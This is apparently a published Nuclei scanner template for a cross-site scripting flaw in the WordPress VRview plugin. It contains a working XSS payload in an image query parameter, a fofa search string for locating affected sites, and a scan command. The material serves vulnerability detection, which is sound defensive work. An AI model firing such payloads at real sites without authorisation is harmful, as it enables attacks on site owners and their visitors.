VRview Plugin - Cross-Site Scripting

ID: vrview-xss

Severity: high

Author: ritikchaddha

Tags: wp,wp-plugin,wordpress,vrview,xss

Description

The VRview plugin is a tool commonly used to embed and display 360-degree virtual reality content in web applications. However, improper input sanitization in the plugin allows attackers to inject malicious scripts into trusted websites. This vulnerability, classified as Cross-Site Scripting (XSS), could enable attackers to perform unauthorized actions or steal sensitive user data.

YAML Source

id: vrview-xss

info:
  name: VRview Plugin - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The VRview plugin is a tool commonly used to embed and display 360-degree virtual reality content in web applications. However, improper input sanitization in the plugin allows attackers to inject malicious scripts into trusted websites. This vulnerability, classified as Cross-Site Scripting (XSS), could enable attackers to perform unauthorized actions or steal sensitive user data.
  reference:
    - https://blog.mindedsecurity.com/2018/04/dom-based-cross-site-scripting-in.html
  metadata:
    max-request: 2
    fofa-query: body="/wp-content/plugins/vrview/"
  tags: wp,wp-plugin,wordpress,vrview,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/vrview'
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/vrview/vrview/?image=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200454f65034e9ae8a6f5efc72820dc7a9bb5383e4b5c7a27929cdadc85f0b8a9a022100d53ea8937f49af8ad88bf509581c126b9fafe8b0b0d0130a4fefb8704da5a76f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/vrview-xss.yaml"

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